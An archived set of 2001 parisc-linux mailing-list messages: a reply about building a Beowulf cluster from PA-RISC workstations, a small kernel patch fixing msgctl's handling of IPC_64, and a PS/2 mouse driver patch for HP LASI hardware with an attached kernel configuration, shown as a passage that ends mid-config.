X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] clustering ??
Date: Mon, 11 Jun 2001 16:21:32 -0400
Lines: 63
Approved: news@gmane.org
Message-ID: <20010611162132.A846@megatonmonkey.net>
References: <KHEOKDLGAPDONGNKGOKFAEEGCAAA.jha@xs4all.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620204 20695 80.91.229.3 (22 Nov 2014 01:36:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:44 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John Hagreis <jha@xs4all.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 11 14:20:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB5CA482A
	for <parisc-linux@parisc-linux.org>; Mon, 11 Jun 2001 14:20:52 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f5BKaLW14751;
	Mon, 11 Jun 2001 16:36:22 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f5BKLWb00854;
	Mon, 11 Jun 2001 16:21:32 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	John Hagreis <jha@xs4all.nl>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <KHEOKDLGAPDONGNKGOKFAEEGCAAA.jha@xs4all.nl>; from jha@xs4all.nl on Mon, Jun 11, 2001 at 09:50:54PM +0200
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:11312

On Mon, Jun 11, 2001 at 09:50:54PM +0200, John Hagreis wrote:
> Hi there,
> 
> I've got two B132L+ systems running with the 0.6 release. I wondered if
> there was someone who has experience with clustering these systems .....
> Anyone .....
> Tia,
> 
> John Hagreis.

John,

Clustering -> HA Systems -> Clustered Services -> Linux Virtual Server ?
Clustering -> Computational Clustering -> Beowulf / COW / NOW ?

I'll assume the later.

We have a cluster of ~48 715/50 Apollo systems.

Our current bottleneck (will be working on this tommorow evening) is
not having a functional rsh for MPI to use (MPICH 1.2.1).

Our setup:

- 3x 10/100 24 Port Switches, Baystack E450's
- NIS / NFS / Gateway Machines (x86 boxes)
- 2x 8' Racks of 48 712/50 PA-RISC Boxes (can you say warm :)

Visit: http://www.baldric.uwo.ca/index.php3
For our latest exploits (recipies coming soon).

What are you looking to do with your systems?

You might want to check out http://www.beowulf.org
(Or even join the mailing list! Excellent discussion for those interested).

Clustering using PA-RISC hardware is the same as clustering using
any other hardware, with the expection that:

- OS is under development (stability may vary)
- Need to understand low level OS functionality.

If anyone else on the list is working on clustering using PA-RISC
boxes, please share the stories.

As far as we know, we are the only group doing something as crazy
as using unsupported PA-RISC hardware to run a beowulf.

War stories? Success stories?


Thanks to Byron Sonne for donating his 712/60 box for testing!

Cheers,
Carlos O'Donell
-------------------------
Baldric Project
http://www.baldric.uwo.ca
-------------------------





From - Thu Nov 08 21:18:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@ldl.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fix msgctl
Date: Mon, 11 Jun 2001 14:36:30 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <E159YQI-00030c-00@chrysl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620204 20697 80.91.229.3 (22 Nov 2014 01:36:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 11 14:36:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DA424877
	for <parisc-linux@parisc-linux.org>; Mon, 11 Jun 2001 14:36:37 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel2.hp.com (Postfix) with ESMTP id 6560C138C
	for <parisc-linux@parisc-linux.org>; Mon, 11 Jun 2001 16:36:36 -0400 (EDT)
Original-Received: from chrysl (chrysl.fc.hp.com [15.1.54.200])
	by ldl.fc.hp.com (Postfix) with ESMTP id 4BE2E5A979
	for <parisc-linux@parisc-linux.org>; Mon, 11 Jun 2001 14:36:30 -0600 (MDT)
Original-Received: from willy by chrysl with local (Exim 3.12 #1 (Debian))
	id 159YQI-00030c-00
	for <parisc-linux@parisc-linux.org>; Mon, 11 Jun 2001 14:36:30 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11313

The switch statement fails to match any cases when IPC_64 is set,
so we must clear it.  This fixes the problem fakeroot was having,
as it could allocate new sysv msg queues, but never free them,
and we're limited to 16 queues.

Index: Makefile
===================================================================
RCS file: /home/cvs/parisc/linux/Makefile,v
retrieving revision 1.50
diff -u -p -r1.50 Makefile
--- Makefile	2001/06/12 01:21:38	1.50
+++ Makefile	2001/06/12 02:33:52
@@ -1,7 +1,7 @@
 VERSION = 2
 PATCHLEVEL = 4
 SUBLEVEL = 0
-EXTRAVERSION = -pa17
+EXTRAVERSION = -pa18
 
 KERNELRELEASE=$(VERSION).$(PATCHLEVEL).$(SUBLEVEL)$(EXTRAVERSION)
 
Index: arch/parisc/kernel/sys_parisc32.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/sys_parisc32.c,v
retrieving revision 1.16
diff -u -p -r1.16 sys_parisc32.c
--- sys_parisc32.c	2001/06/08 13:58:08	1.16
+++ sys_parisc32.c	2001/06/12 02:33:53
@@ -2681,7 +2681,7 @@ asmlinkage long sys32_msgctl (int msqid,
 {
 	int err = -EINVAL;
 
-	switch (cmd) {
+	switch (cmd &~ IPC_64) {
 
 	case IPC_INFO:
 	case MSG_INFO:




From - Thu Nov 08 21:18:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The mouse patch
Date: Mon, 11 Jun 2001 23:26:24 +0200
Lines: 1072
Approved: news@gmane.org
Message-ID: <3B253780.E2E2FC45@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------AA99F5639BE1355209CBE326"
X-Trace: ger.gmane.org 1416620205 20701 80.91.229.3 (22 Nov 2014 01:36:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:45 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 11 15:32:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id CDA0E4839
	for <parisc-linux@parisc-linux.org>; Mon, 11 Jun 2001 15:32:26 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP id 4BD15D15B6
	for <parisc-linux@parisc-linux.org>; Mon, 11 Jun 2001 23:32:25 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11314

This is a multi-part message in MIME format.
--------------AA99F5639BE1355209CBE326
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all,

	I have produced a newer code for the mouse PS2 on HP box. I mean the
mouse you plug directly to your 712 for example. Of course, due to the
status of STI-console, it works with the STI frame buffer.

	If someone can be kind enough to build a kernel with this patch with
the following .config file and the latest CVS possible and give your
feedback...

The favorite modell will be 712.

Thanks, Thomas
ESIEE Team
--------------AA99F5639BE1355209CBE326
Content-Type: text/plain; charset=us-ascii;
 name="mouse.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="mouse.patch"

diff -Nru linux.old/drivers/char/hp_keyb.h linux.new/drivers/char/hp_keyb.h
--- linux.old/drivers/char/hp_keyb.h	Thu Jan  1 01:00:00 1970
+++ linux.new/drivers/char/hp_keyb.h	Mon Jun 11 21:14:32 2001
@@ -0,0 +1,51 @@
+/*  
+ *    LASI PS/2 keyboard/psaux header for HP-PARISC workstations
+ *
+ *    Copyright 2001    Marteau Thomas <marteaut@esiee.fr>
+ *
+ *    This file contains all the data needed by hp_keyb.c and hp_psaux.c
+ *
+ *    2001/05/10       Try to compact the code in the two files
+ *                  
+ */
+
+/* These defines are not used! */
+#define KBD_ECHO       0xEE            /* in/out */
+#define KBD_DEFAULT    0xF6            /* out */
+#define KBD_DIAGFAIL   0xFD            /* in */
+
+/* Only in hp_keyb.c */
+#define KBD_BREAK      0xF0            /* in */
+
+/* Standard mouse behaviour parameters */
+
+#define AUX_REPLY_ACK   0xFA            /* Command byte ACK. */
+#define AUX_RECONNECT   0xAA            /* scancode when ps2 device is plugged (back) in */
+
+/* PA-RISC define */
+#define LASI_OFFSET     0x0100
+
+#define        LASI_ID         0x00
+#define LASI_RESET     0x00
+#define LASI_RCVDATA   0x04
+#define LASI_XMTDATA   0x04
+#define LASI_CONTROL   0x08
+#define LASI_STATUS    0x0C
+
+/* Control register bits */
+
+#define LASI_CTRL_ENBL         0x01    /* enable interface */
+#define LASI_CTRL_LPBXR                0x02    /* loopback operation */
+#define LASI_CTRL_DIAG         0x20    /* directly control clock/data line */
+#define        LASI_CTRL_DATDIR        0x40    /* data line direct control */
+#define        LASI_CTRL_CLKDIR        0x80    /* clock line direct control */
+
+/* Status register bits */
+
+#define LASI_STAT_RBNE         0x01
+#define LASI_STAT_TBNE         0x02
+#define LASI_STAT_TERR         0x04
+#define LASI_STAT_PERR         0x08
+#define LASI_STAT_CMPINTR      0x10
+#define LASI_STAT_DATSHD       0x40
+#define LASI_STAT_CLKSHD       0x80
diff -Nru linux.old/drivers/char/hp_psaux.c linux.new/drivers/char/hp_psaux.c
--- linux.old/drivers/char/hp_psaux.c	Mon Jun 11 21:03:39 2001
+++ linux.new/drivers/char/hp_psaux.c	Mon Jun 11 21:35:32 2001
@@ -9,7 +9,9 @@
  *			Marteau Thomas (marteaut@esiee.fr)
  * 			Djoudi Malek (djoudim@esiee.fr)
  *	fixed leds control
+ *      implemented the psaux and controlled the mouse scancode based on pc_keyb.c
  */
+#include <linux/config.h>
 
 #include <asm/hardware.h>
 #include <asm/keyboard.h>
@@ -17,58 +19,40 @@
 
 #include <linux/types.h>
 #include <linux/ptrace.h>	/* interrupt.h wants struct pt_regs defined */
+#include <linux/interrupt.h>
 #include <linux/sched.h>	/* for request_irq/free_irq */
 #include <linux/ioport.h>
 #include <linux/kernel.h>
-#include <linux/interrupt.h>
 #include <linux/wait.h>
+#include <linux/delay.h>
 #include <linux/errno.h>
 #include <linux/init.h>
 #include <linux/pc_keyb.h>
 #include <linux/kbd_kern.h>
 
+/* mouse include */
+#include <linux/miscdevice.h>
+#include <linux/malloc.h>
+#include <linux/random.h>
+#include <linux/spinlock.h>
+#include <linux/smp_lock.h>
+#include <asm/uaccess.h>
+#include <linux/poll.h>
+
+/* hp include */
+#include "hp_keyb.h"
 
 static struct hp_device *lasi_psaux_keyb;
 static void *lasikbd_hpa;
+static void *lasips2_hpa;
 
-
-#define KBD_BAT		0xaa		/* in */
-#define KBD_SETLEDS	0xed		/* out */
-#define KBD_ECHO	0xee		/* in/out */
-#define KBD_BREAK	0xf0		/* in */
-#define KBD_TYPRATEDLY	0xf3		/* out */
-#define KBD_SCANENABLE	0xf4		/* out */
-#define KBD_DEFDISABLE	0xf5		/* out */
-#define KBD_DEFAULT	0xf6		/* out */
-#define KBD_ACK		0xfa		/* in */
-#define KBD_DIAGFAIL	0xfd		/* in */
-#define KBD_RESEND	0xfe		/* in/out */
-#define KBD_RESET	0xff		/* out */
-
-#define	LASI_ID		0x00
-#define LASI_RESET	0x00
-#define LASI_RCVDATA	0x04
-#define LASI_XMTDATA	0x04
-#define LASI_CONTROL	0x08
-#define LASI_STATUS	0x0c
-
-/* Control register bits */
-
-#define LASI_CTRL_ENBL		0x01	/* enable interface */
-#define LASI_CTRL_LPBXR		0x02	/* loopback operation */
-#define LASI_CTRL_DIAG		0x20	/* directly control clock/data line */
-#define	LASI_CTRL_DATDIR	0x40	/* data line direct control */
-#define	LASI_CTRL_CLKDIR	0x80	/* clock line direct control */
-
-/* Status register bits */
-
-#define LASI_STAT_RBNE		0x01
-#define LASI_STAT_TBNE		0x02
-#define LASI_STAT_TERR		0x04
-#define LASI_STAT_PERR		0x08
-#define LASI_STAT_CMPINTR	0x10
-#define LASI_STAT_DATSHD	0x40
-#define LASI_STAT_CLKSHD	0x80
+#ifdef CONFIG_PSMOUSE
+/* mouse section */
+static unsigned char mouse_reply_expected;
+static struct aux_queue *queue;        /* Mouse data buffer. */
+static int aux_count;
+static spinlock_t kbd_controller_lock = SPIN_LOCK_UNLOCKED;
+#endif
 
 
 static inline u8 read_input(void *hpa)
@@ -111,12 +95,18 @@
 	return;
 }
 
+/* This function is the PA-RISC adaptation of i386 source */
+
+static void aux_write_ack(u8 val)
+{
+      write_output(val,lasikbd_hpa+LASI_OFFSET);
+}
 
 static void lasikbd_leds(unsigned char leds)
 {
-	write_output(KBD_SETLEDS, lasikbd_hpa);
+	write_output(KBD_CMD_SET_LEDS, lasikbd_hpa);
 	write_output(leds, lasikbd_hpa);
-	write_output(KBD_SCANENABLE, lasikbd_hpa);
+	write_output(KBD_CMD_ENABLE, lasikbd_hpa);
 #if 0
 	printk("%s(%d)\n", __FUNCTION__, leds); 
 #endif
@@ -149,7 +139,7 @@
 }
 #endif 
 
-int lasi_ps2_reset(void *hpa)
+int lasi_ps2_reset(void *hpa, int id)
 {
 	u8 control;
 
@@ -161,6 +151,13 @@
 	control = read_control(hpa);
 	write_control(control | LASI_CTRL_ENBL, hpa);
 
+        /* initializes the leds at the default state */
+        if (id==0){
+           write_output(KBD_CMD_SET_LEDS, hpa);
+	   write_output(0, hpa);
+	   write_output(KBD_CMD_ENABLE, hpa);
+	}
+
 	return 0;
 }
 
@@ -171,34 +168,250 @@
 	++inited;
 }
 
-static u8 handle_lasikbd_event(void *hpa)
+
+/* Greatly inspired by pc_keyb.c */
+
+/*
+ * Wait for keyboard controller input buffer to drain.
+ *
+ * Don't use 'jiffies' so that we don't depend on
+ * interrupts..
+ *
+ * Quote from PS/2 System Reference Manual:
+ *
+ * "Address hex 0060 and address hex 0064 should be written only when
+ * the input-buffer-full bit and output-buffer-full bit in the
+ * Controller Status register are set 0."
+ */
+#ifdef CONFIG_PSMOUSE
+
+static int fasync_aux(int fd, struct file *filp, int on)
+{
+   
+	int retval;
+	
+	retval = fasync_helper(fd, filp, on, &queue->fasync);
+	if (retval < 0)
+		return retval;
+	
+	return 0;
+}
+
+
+static inline void handle_mouse_scancode(unsigned char scancode)
+{
+
+	if (mouse_reply_expected) {
+		if (scancode == AUX_REPLY_ACK) {
+			mouse_reply_expected--;
+			return;
+		}
+		mouse_reply_expected = 0;
+	}
+	else if(scancode == AUX_RECONNECT){
+		queue->head = queue->tail = 0;  /* Flush input queue */
+		return;
+	}
+
+	add_mouse_randomness(scancode);
+	if (aux_count) {
+		int head = queue->head;
+				
+		queue->buf[head] = scancode;
+		head = (head + 1) & (AUX_BUF_SIZE-1);
+		
+		if (head != queue->tail) {
+			queue->head = head;
+			kill_fasync(&queue->fasync, SIGIO, POLL_IN);
+			wake_up_interruptible(&queue->proc_list);
+		}
+	}
+}
+
+static inline int queue_empty(void)
 {
-	u8 status;
-	extern void handle_at_scancode(int); /* in drivers/char/keyb_at.c */
+	return queue->head == queue->tail;
+}
 
-	while ((status = read_status(hpa)) & LASI_STAT_RBNE) {
-		u8 scancode;
+static unsigned char get_from_queue(void)
+{
+	unsigned char result;
+	unsigned long flags;
 
-		scancode = read_input(hpa);
+	spin_lock_irqsave(&kbd_controller_lock, flags);
+	result = queue->buf[queue->tail];
+	queue->tail = (queue->tail + 1) & (AUX_BUF_SIZE-1);
+	spin_unlock_irqrestore(&kbd_controller_lock, flags);
+	return result;
+}
 
-		if (inited)
-			handle_at_scancode(scancode);
+
+/*
+ * Write to the aux device.
+ */
+
+static ssize_t write_aux(struct file * file, const char * buffer,
+			 size_t count, loff_t *ppos)
+{
+	ssize_t retval = 0;
+
+	if (count) {
+		ssize_t written = 0;
+
+		if (count > 32)
+			count = 32; /* Limit to 32 bytes. */
+		do {
+			char c;
+			get_user(c, buffer++);
+			written++;
+		} while (--count);
+		retval = -EIO;
+		if (written) {
+			retval = written;
+			file->f_dentry->d_inode->i_mtime = CURRENT_TIME;
+		}
 	}
 
-	tasklet_schedule(&keyboard_tasklet);
+	return retval;
+}
+
 
-	return status;
+
+static ssize_t read_aux(struct file * file, char * buffer,
+			size_t count, loff_t *ppos)
+{
+	DECLARE_WAITQUEUE(wait, current);
+	ssize_t i = count;
+	unsigned char c;
+
+	if (queue_empty()) {
+		if (file->f_flags & O_NONBLOCK)
+			return -EAGAIN;
+		add_wait_queue(&queue->proc_list, &wait);
+repeat:
+		set_current_state(TASK_INTERRUPTIBLE);
+		if (queue_empty() && !signal_pending(current)) {
+			schedule();
+			goto repeat;
+		}
+		current->state = TASK_RUNNING;
+		remove_wait_queue(&queue->proc_list, &wait);
+	}
+	while (i > 0 && !queue_empty()) {
+		c = get_from_queue();
+		put_user(c, buffer++);
+		i--;
+	}
+	if (count-i) {
+		file->f_dentry->d_inode->i_atime = CURRENT_TIME;
+		return count-i;
+	}
+	if (signal_pending(current))
+		return -ERESTARTSYS;
+	return 0;
 }
+
+
+static int open_aux(struct inode * inode, struct file * file)
+{
+	if (aux_count++) {
+	return 0;
+	}
+	queue->head = queue->tail = 0;		/* Flush input queue */
+	aux_count =1;
+	
+	aux_write_ack(AUX_ENABLE_DEV); /* Enable aux device */
+	
+	return 0;
+}
+
+
+/* No kernel lock held - fine */
+static unsigned int aux_poll(struct file *file, poll_table * wait)
+{
+
+	poll_wait(file, &queue->proc_list, wait);
+	if (!queue_empty())
+		return POLLIN | POLLRDNORM;
+	return 0;
+}
+
+
+static int release_aux(struct inode * inode, struct file * file)
+{
+	lock_kernel();
+	fasync_aux(-1, file, 0);
+	if (--aux_count) {
+	   unlock_kernel();
+		return 0;
+	}
+	unlock_kernel();
+	return 0;
+}
+#endif
+
+
+/* This function is looking at the PS2 controller and empty the two buffers */
+
+static u8 handle_lasikbd_event(void *hpa)
+{
+        u8 status_keyb,status_mouse,scancode,id;
+        extern void handle_at_scancode(int); /* in drivers/char/keyb_at.c */
+        
+        /* Mask to get the base address of the PS/2 controller */
+
+        id = gsc_readb(hpa+LASI_ID) & 0x0f;
+        
+        if (id==1) 
+           hpa=hpa-LASI_OFFSET; 
+        lasikbd_hpa=hpa;
+        
+
+        status_keyb = read_status(hpa);
+        status_mouse = read_status(hpa+LASI_OFFSET);
+
+        while ((status_keyb|status_mouse) & LASI_STAT_RBNE){
+           
+           while (status_keyb & LASI_STAT_RBNE) {
+	      
+              scancode = read_input(hpa);
+	      
+	      if (inited)
+	      {
+		 handle_at_scancode(scancode); 
+              }
+	      
+	      status_keyb =read_status(hpa);
+           }
+	   
+#ifdef CONFIG_PSMOUSE
+           while (status_mouse & LASI_STAT_RBNE) {
+             
+	      scancode = read_input(hpa+LASI_OFFSET);
+	      handle_mouse_scancode(scancode);
+              status_mouse=read_status(hpa+LASI_OFFSET);
+	   }
+           status_mouse=read_status(hpa+LASI_OFFSET);
+#endif
+           status_keyb =read_status(hpa);
+        }
+
+        tasklet_schedule(&keyboard_tasklet);
+        return (status_keyb|status_mouse);
+}
+
+
+
 	
 extern struct pt_regs *kbd_pt_regs;
 
 static void lasikbd_interrupt(int irq, void *dev, struct pt_regs *regs)
 {
-	lasikbd_hpa = dev; /* save "hpa" for lasikbd_leds() */
+	lasips2_hpa = dev; /* save "hpa" for lasikbd_leds() */
 
 	kbd_pt_regs = regs;
 
-	handle_lasikbd_event(lasikbd_hpa);
+	handle_lasikbd_event(lasips2_hpa);
 }
 
 
@@ -230,6 +443,21 @@
 #endif
 };
 
+#ifdef CONFIG_PSMOUSE
+struct file_operations psaux_fops = {
+	read:		read_aux,
+	write:		write_aux,
+	poll:		aux_poll,
+	open:		open_aux,
+	release:	release_aux,
+	fasync:		fasync_aux,
+};
+
+static struct miscdevice psaux_mouse = {
+	PSMOUSE_MINOR, "psaux", &psaux_fops
+};
+#endif
+
 static int __init
 lasi_ps2_register(struct hp_device *d, struct pa_iodc_driver *dri)
 {
@@ -247,21 +475,27 @@
 		name = "psaux"; /* "mouse" */;
 		break;
 	default:
-		printk(KERN_WARNING "unknown PS/2 port %d found!  Get famous now by reporting this to parisc-linux@parisc-linux.org!\n", id);
+		printk(KERN_WARNING "unknown PS/2 port %d found!  Get famous now by reporting this to parisc-linux@thepuffingroup.com!\n", id);
 		name = "unknown";
 	}
 
-	if (id==0) {
-		printk("Initializing Lasi PS/2-%s port at 0x%p...\n", name, hpa);
-	} else {
-		printk("Support for Lasi PS/2-%s not yet available !\n", name); /* FIXME */
-	}
+	if (id==0)
+	    printk("Initializing Lasi PS/2-%s port at 0x%p...\n", name, hpa);
+#ifdef CONFIG_PSMOUSE
+	else 
+	   if (id==1)
+	      printk("Initializing Lasi PS/2-%s port at 0x%p...\n", name, hpa);
+#endif
+	   else
+	      printk("Support for Lasi PS/2-%s not yet available !\n", name); /* FIXME */
 	    
 	if (id==0) {
 		int err;
 		unsigned int irq;
-
-		if ((err = lasi_ps2_reset(hpa)))
+		
+		lasikbd_hpa=hpa;
+		
+		if ((err = lasi_ps2_reset(hpa,id)))
 			printk("%s: lasi_ps2_reset() failed!\n", __FUNCTION__);
 
 		irq = busdevice_alloc_irq(d);
@@ -270,10 +504,38 @@
 		    
 		request_irq(irq, lasikbd_interrupt, 0, name, hpa);
 
-		request_mem_region((unsigned long)hpa, LASI_STATUS + 4, name);
+		request_region((unsigned long)hpa, LASI_STATUS + 4, name);
 		
 		register_kbd_ops(&gsc_ps2_kbd_ops);
 	}
+
+#ifdef CONFIG_PSMOUSE
+	if (id==1){
+		int err;
+		unsigned int irq;
+
+		if ((err = lasi_ps2_reset(hpa,id)))
+			printk("%s: lasi_ps2_reset() failed!\n", __FUNCTION__);
+
+		irq = busdevice_alloc_irq(d);
+		if (!irq)
+		    return -ENODEV;
+		    
+		request_irq(irq, lasikbd_interrupt, 0, name, hpa);
+
+		request_region((unsigned long)hpa, LASI_STATUS + 4, name);
+		
+		misc_register(&psaux_mouse);
+		queue = (struct aux_queue *) kmalloc(sizeof(*queue), GFP_KERNEL);
+		memset(queue, 0, sizeof(*queue));
+		queue->head = queue->tail = 0;
+		init_waitqueue_head(&queue->proc_list);
+
+		aux_write_ack(AUX_ENABLE_DEV);
+		
+	}
+#endif	   
+
 
 	return 0;
 }
diff -Nru linux.old/drivers/gsc/lasi.c linux.new/drivers/gsc/lasi.c
--- linux.old/drivers/gsc/lasi.c	Mon Jun 11 21:03:40 2001
+++ linux.new/drivers/gsc/lasi.c	Mon Jun 11 21:08:32 2001
@@ -48,7 +48,8 @@
 	case 0x5000:	irq = 26; break; /* RS232 */
 	case 0x6000:	irq = 22; break; /* SCSI */
 	case 0x7000:	irq = 23; break; /* LAN */
-	case 0x8000:	irq =  5; break; /* PS/2 Keyboard and Mouse */
+	case 0x8000:    irq =  5; break; /* PS/2 Keyboard */
+        case 0x8100:    irq =  5; break; /* PS/2 Mouse */
 	case 0xA000:	irq = 11; break; /* Floppy Disk Controller */
 	default: 	irq = -1; break; /* unknown */
 	}

--------------AA99F5639BE1355209CBE326
Content-Type: text/plain; charset=us-ascii;
 name="conf"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="conf"

#
# Automatically generated by make menuconfig: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set

#
# Code maturity level options
#
# CONFIG_EXPERIMENTAL is not set

#
# Loadable module support
#
# CONFIG_MODULES is not set

#
# Processor type
#
# CONFIG_PA7100 is not set
# CONFIG_PA7200 is not set
CONFIG_PA7100LC=y
# CONFIG_PA8X00 is not set
CONFIG_PA11=y

#
# General options
#
# CONFIG_SMP is not set
# CONFIG_KWDB is not set
CONFIG_GSC=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_WAX_EISA=y
# CONFIG_SUPERIO is not set
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_PCI_NAMES=y
CONFIG_CHASSIS_LCD_LED=y

#
# General setup
#
# CONFIG_HOTPLUG is not set
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_SOM=y
# CONFIG_BINFMT_MISC is not set
# CONFIG_PM is not set

#
# Parallel port support
#
CONFIG_PARPORT=y
# CONFIG_PARPORT_PC is not set
# CONFIG_PARPORT_AMIGA is not set
# CONFIG_PARPORT_MFC3 is not set
# CONFIG_PARPORT_ATARI is not set
CONFIG_PARPORT_GSC=y
# CONFIG_PARPORT_SUNBPP is not set
# CONFIG_PARPORT_OTHER is not set
# CONFIG_PARPORT_1284 is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_LOOP is not set
# CONFIG_BLK_DEV_NBD is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_SIZE=4096
CONFIG_BLK_DEV_INITRD=y

#
# Multi-device support (RAID and LVM)
#
# CONFIG_MD is not set
# CONFIG_BLK_DEV_MD is not set
# CONFIG_MD_LINEAR is not set
# CONFIG_MD_RAID0 is not set
# CONFIG_MD_RAID1 is not set
# CONFIG_MD_RAID5 is not set
# CONFIG_BLK_DEV_LVM is not set
# CONFIG_LVM_PROC_FS is not set

#
# Networking options
#
# CONFIG_PACKET is not set
# CONFIG_NETLINK is not set
# CONFIG_NETFILTER is not set
# CONFIG_FILTER is not set
CONFIG_UNIX=y
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
# CONFIG_IP_PNP_BOOTP is not set
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set

#
# SCSI support
#
CONFIG_SCSI=y
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
CONFIG_CHR_DEV_ST=y
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_SR_EXTRA_DEVS=2
CONFIG_CHR_DEV_SG=y
# CONFIG_SCSI_DEBUG_QUEUES is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set

#
# SCSI low-level drivers
#
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_7000FASST is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA152X is not set
# CONFIG_SCSI_AHA1542 is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_MEGARAID is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_CPQFCTS is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_EATA is not set
# CONFIG_SCSI_EATA_DMA is not set
# CONFIG_SCSI_EATA_PIO is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GDTH is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
CONFIG_SCSI_LASI=y
CONFIG_SCSI_ZALON=y
